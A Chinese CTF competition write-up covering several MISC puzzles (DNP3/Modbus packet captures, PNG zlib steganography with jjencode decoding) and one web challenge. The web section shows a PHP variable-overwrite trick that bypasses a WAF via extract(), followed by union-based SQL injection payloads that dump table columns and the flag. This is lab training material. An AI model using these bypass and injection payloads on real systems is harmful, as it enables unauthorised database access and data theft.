第六届上海市大学生网络安全大赛 | Wp

文章目录

    • MISC
        • 0x00:签到
        • 0x01:pcap
        • 0x02:pcap analysis
        • 0x03: 可乐加冰
    • Web
        • 0x01:千毒网盘

MISC

0x00:签到

在这里插入图片描述
linux运行一下即可得到flag
在这里插入图片描述

0x01:pcap

提示:请分析附件中的dnp3协议

具体的协议介绍可以看师傅的博客
DNP3协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析DNP3所含功能码
工控安全入门(四)—— DNP3协议
一开始以为出题考察的是read,在找参数object,以及File Data
第六届上海市大学生网络安全大赛 | Wp_第1张图片
但协议中并未出现,后来问学长才知道一般考察这类工控题,基本都是以流量包的形式考察的因为有些环境没有办法在线上提供,考察的还是传统的ctf,只不过是换了工控协议

可以总结下flag、fl、f各种编码,把数据包的内容分长度不同进行查看,有的时候这类题目考察的就是眼力。
第六届上海市大学生网络安全大赛 | Wp_第2张图片
这道题的flag便隐藏在每个长度为91的dnp3流量包中,按照顺序进行拼接即可

0x02:pcap analysis

第六届上海市大学生网络安全大赛 | Wp_第3张图片
这题上去也被秒了,就不用去看协议了,肯定还是把flag隐藏在流量包中,提示了让去看Modbus协议,直接过滤查看,打开第一个流量包即可看到flag
第六届上海市大学生网络安全大赛 | Wp_第4张图片

0x03: 可乐加冰

给了一个PNG照片,试了很多常见的隐写都没有发现线索,后来队里的qwzf拿到了一血,tql,复现一下,也学习学习。

binwalk分析一下,有zlib 之前都没怎么注意过,也可以看一下2018全国大学生信息安全竞赛 picture,也是考察zlib

第六届上海市大学生网络安全大赛 | Wp_第5张图片
5B.zilb和2AE96.zlib并没有什么异常
第六届上海市大学生网络安全大赛 | Wp_第6张图片
再来看看2AE96
第六届上海市大学生网络安全大赛 | Wp_第7张图片
有些奇怪,复制出来
第六届上海市大学生网络安全大赛 | Wp_第8张图片
内容不是十六进制,是十进制,写个简单的脚本转换一下

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:1emon
if __name__ == '__main__':
    data = ''
    with open("1.txt",'r',encoding='utf-8') as fp:
        strings = fp.read()
        lists = strings.split(' ')
        # print(list)
        for list in lists:
            data=data+chr(int(list))
    print(data)

在这里插入图片描述

S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$

翻之前的资料,发现和jjencode特别像,只不过含有S,把S替换成$再试一下

$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$

但发现解不了,查看了jjencode的作者提供的编码测试页,发现需要套上alert,它的格式是固定的

alert("")

在这里插入图片描述

alert('1emon')

在这里插入图片描述
知道规律了,把上面得到的内容复制进去即可,前后连接的+号不能忘

$=~[];$={
     ___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({
     }+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({
     }+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\\\")"+"\"")())();

在这里插入图片描述


Web

0x01:千毒网盘

第六届上海市大学生网络安全大赛 | Wp_第9张图片
这个题有源码泄露

http://eci-2ze636qtsw50d6niueft.cloudeci1.ichunqiu.com/www.zip

在code.php文件中发现sql语句,做题的时候没有观察到index.php文件中的变量覆盖,一直以为是要绕过单引号,然后进行SQL注入得到flag。
第六届上海市大学生网络安全大赛 | Wp_第10张图片
这题路没走通只能去看index.php页面,发现
第六届上海市大学生网络安全大赛 | Wp_第11张图片
查了下发现和之前的一道CTF比较类似,考察的是变量覆盖

foreach(array_expression as $value) 遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步
foreach(array_expression as $key => $value) 除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key

本地测试一下:

第一层foreach里,$__key就是_GET, _POST, _COOKIE,加上一个$就变为$_GET, $_POST, $_COOKIE

<?php
foreach(array('_GET','_POST','_COOKIE') as $key){
     	
echo "\$\$key
"
; print_r($$key); echo "
"
; foreach($$key as $key_2 => $value_2) { echo "\$\$key_2
"
; print_r($$key_2); echo "
"
; echo "\$value_2
"
; print_r($value_2); echo "
"
; var_dump($$key_2==$value_2);echo "
"
; } }

第六届上海市大学生网络安全大赛 | Wp_第12张图片
第一次循环如果是以_GET传入的话,最终得到的结果是false,试试以_POST传入
第六届上海市大学生网络安全大赛 | Wp_第13张图片
unset($$__key2)$_POST变量销毁了,所以就不会触发filter函数,因为还没进waf函数POST就被unset了
第六届上海市大学生网络安全大赛 | Wp_第14张图片
接下来继续执行

if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);

执行之后$_POST变量就又回来了,可以在本地测试一下

<?php
foreach(array('_GET', '_POST') as $key) {
     
        if($$key) {
      
        foreach($$key as $key_2 => $value_2) {
      
            if(isset($$key_2) && $$key_2 == $value_2) 
				unset($$key_2); 
        }
     }

}
echo "before
"
; echo "GET:
"
; var_dump($_GET); echo "
"
; echo "POST:
"
; var_dump($_POST); echo "
"
; if($_GET) extract($_GET, EXTR_SKIP); if($_POST) extract($_POST, EXTR_SKIP); echo "
"
; echo "
"
; echo "after
"
; echo "POST:
"
; var_dump($_POST);

第六届上海市大学生网络安全大赛 | Wp_第15张图片
执行extract()之前,$_GET数组的键名是_POST$_POST数组则不存在,$_GET数组的键名是_POST,所以也就是导入了名为_POST的变量,也就是$_POST变量,所以$_POST成功被还原

接下来测试一下payload,发现可以绕过去
第六届上海市大学生网络安全大赛 | Wp_第16张图片
使用联合查询注入方式看看,判断列数

?_POST[code]=114514' order by 4%23
DATA:
code=114514' order by 4%23

爆数据表
第六届上海市大学生网络安全大赛 | Wp_第17张图片
爆出字段值

?_POST[code]=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23
DATA:
code=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23

第六届上海市大学生网络安全大赛 | Wp_第18张图片
爆值

?_POST[code]=114514' and 0=1 union select 1,2,flag from flag%23
DATA:
code=114514' and 0=1 union select 1,2,flag from flag%23

第六届上海市大学生网络安全大赛 | Wp_第19张图片

你可能感兴趣的:(CTF_Writeup,php)